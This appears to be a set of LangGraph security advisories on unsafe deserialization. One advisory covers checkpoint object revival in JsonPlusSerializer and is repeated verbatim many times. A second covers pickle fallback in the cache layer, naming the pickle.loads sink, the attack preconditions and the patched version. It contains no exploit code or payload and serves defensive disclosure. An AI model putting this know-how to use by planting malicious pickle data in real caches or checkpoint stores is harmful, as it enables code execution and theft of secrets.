Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Context

A Remote Code Execution vulnerability exists in LangGraph's caching layer when applications enable cache backends that inherit from BaseCache and opt nodes into caching via CachePolicy. Prior to langgraph-checkpoint 4.0.0, BaseCache defaults to JsonPlusSerializer(pickle_fallback=True). When msgpack serialization fails, cached values can be deserialized via pickle.loads(...).

Who is affected?

Caching is not enabled by default. Applications are affected only when:

• The application explicitly enables a cache backend (for example by passing cache=... to StateGraph.compile(...) or otherwise configuring a BaseCache implementation)
• One or more nodes opt into caching via CachePolicy
• The attacker can write to the cache backend (for example a network-accessible Redis instance with weak/no auth, shared cache infrastructure reachable by other tenants/services, or a writable SQLite cache file)

Example (enabling a cache backend and opting a node into caching):

from langgraph.cache.memory import InMemoryCache
from langgraph.graph import StateGraph
from langgraph.types import CachePolicy


def my_node(state: dict) -> dict:
    return {"value": state.get("value", 0) + 1}


builder = StateGraph(dict)
builder.add_node("my_node", my_node, cache_policy=CachePolicy(ttl=120))
builder.set_entry_point("my_node")

graph = builder.compile(cache=InMemoryCache())

result = graph.invoke({"value": 1})

With pickle_fallback=True, when msgpack serialization fails, JsonPlusSerializer can fall back to storing values as a ("pickle", <bytes>) tuple and later deserialize them via pickle.loads(...). If an attacker can place a malicious pickle payload into the cache backend such that the LangGraph process reads and deserializes it, this can lead to arbitrary code execution.

Exploitation requires attacker write access to the cache backend. The serializer is not exposed as a network-facing API.

This is fixed in langgraph-checkpoint>=4.0.0 by disabling pickle fallback by default (pickle_fallback=False).

Impact

Arbitrary code execution in the LangGraph process when attacker-controlled cache entries are deserialized.

Root Cause

• BaseCache default serializer configuration inherited by cache implementations (InMemoryCache, RedisCache, SqliteCache):

  • libs/checkpoint/langgraph/cache/base/__init__.py (pre-fix default: JsonPlusSerializer(pickle_fallback=True))

• JsonPlusSerializer deserialization sink:

  • libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py
  • loads_typed(...) calls pickle.loads(data_) when type_ == "pickle" and pickle fallback is enabled

Attack preconditions

An attacker must be able to write attacker-controlled bytes into the cache backend such that the LangGraph process later reads and deserializes them.

This typically requires write access to a networked cache (for example a network-accessible Redis instance with weak/no auth or shared cache infrastructure reachable by other tenants/services) or write access to local cache storage (for example a writable SQLite cache file via permissive file permissions or a shared writable volume).

Because exploitation requires write access to the cache storage layer, this is a post-compromise / post-access escalation vector.

Remediation

• Upgrade to langgraph-checkpoint>=4.0.0.

Resources

• ZDI-CAN-28385
• Patch: https://github.com/langchain-ai/langgraph/pull/6677
• Patch diff: https://patch-diff.githubusercontent.com/raw/langchain-ai/langgraph/pull/6677.patch
• Credit: Peter Girnus (@gothburz), Demeng Chen, and Brandon Niemczyk (Trend Micro Zero Day Initiative)

Summary

